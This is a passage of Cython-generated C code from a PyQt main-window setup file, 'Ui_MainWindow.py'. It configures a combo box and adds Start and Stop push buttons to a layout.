(unlikely(!__pyx_t_7)) __PYX_ERR(0, 686, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":687 * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 687, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 687, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__442, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 687, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":688 * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 688, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 688, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__443, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 688, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":689 * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 689, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 689, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__444, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 689, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":690 * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) # <<<<<<<<<<<<<< * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 690, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 690, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__445, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 690, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":691 * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.B_Define.addItem("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 691, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 691, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__446, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 691, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":692 * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.B_Define.addItem("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 692, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 692, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__447, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 692, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":693 * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.horizontalLayout_4.addWidget(self.B_Define) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 693, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 693, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__448, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 693, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":694 * self.B_Define.addItem("") * self.B_Define.addItem("") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Define) * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 694, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 694, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__449, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 694, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":695 * self.B_Define.addItem("") * self.B_Define.addItem("") * self.horizontalLayout_4.addWidget(self.B_Define) # <<<<<<<<<<<<<< * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Start.setToolTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 695, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":696 * self.B_Define.addItem("") * self.horizontalLayout_4.addWidget(self.B_Define) * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.B_Start.setToolTip("") * self.B_Start.setStatusTip("") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Start, __pyx_t_7) < 0) __PYX_ERR(0, 696, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":697 * self.horizontalLayout_4.addWidget(self.B_Define) * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Start.setToolTip("") # <<<<<<<<<<<<<< * self.B_Start.setStatusTip("") * self.B_Start.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 697, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 697, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__450, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 697, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":698 * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Start.setToolTip("") * self.B_Start.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 698, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 698, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__451, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 698, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":699 * self.B_Start.setToolTip("") * self.B_Start.setStatusTip("") * self.B_Start.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Start.setAccessibleDescription("") * self.B_Start.setObjectName("B_Start") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 699, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 699, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__452, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 699, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":700 * self.B_Start.setStatusTip("") * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Start.setObjectName("B_Start") * self.horizontalLayout_4.addWidget(self.B_Start) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 700, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 700, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__453, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 700, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":701 * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") * self.B_Start.setObjectName("B_Start") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Start) * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 701, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 701, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__454, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 701, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":702 * self.B_Start.setAccessibleDescription("") * self.B_Start.setObjectName("B_Start") * self.horizontalLayout_4.addWidget(self.B_Start) # <<<<<<<<<<<<<< * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Stop.setEnabled(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 702, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":703 * self.B_Start.setObjectName("B_Start") * self.horizontalLayout_4.addWidget(self.B_Start) * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.B_Stop.setEnabled(False) * self.B_Stop.setToolTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if 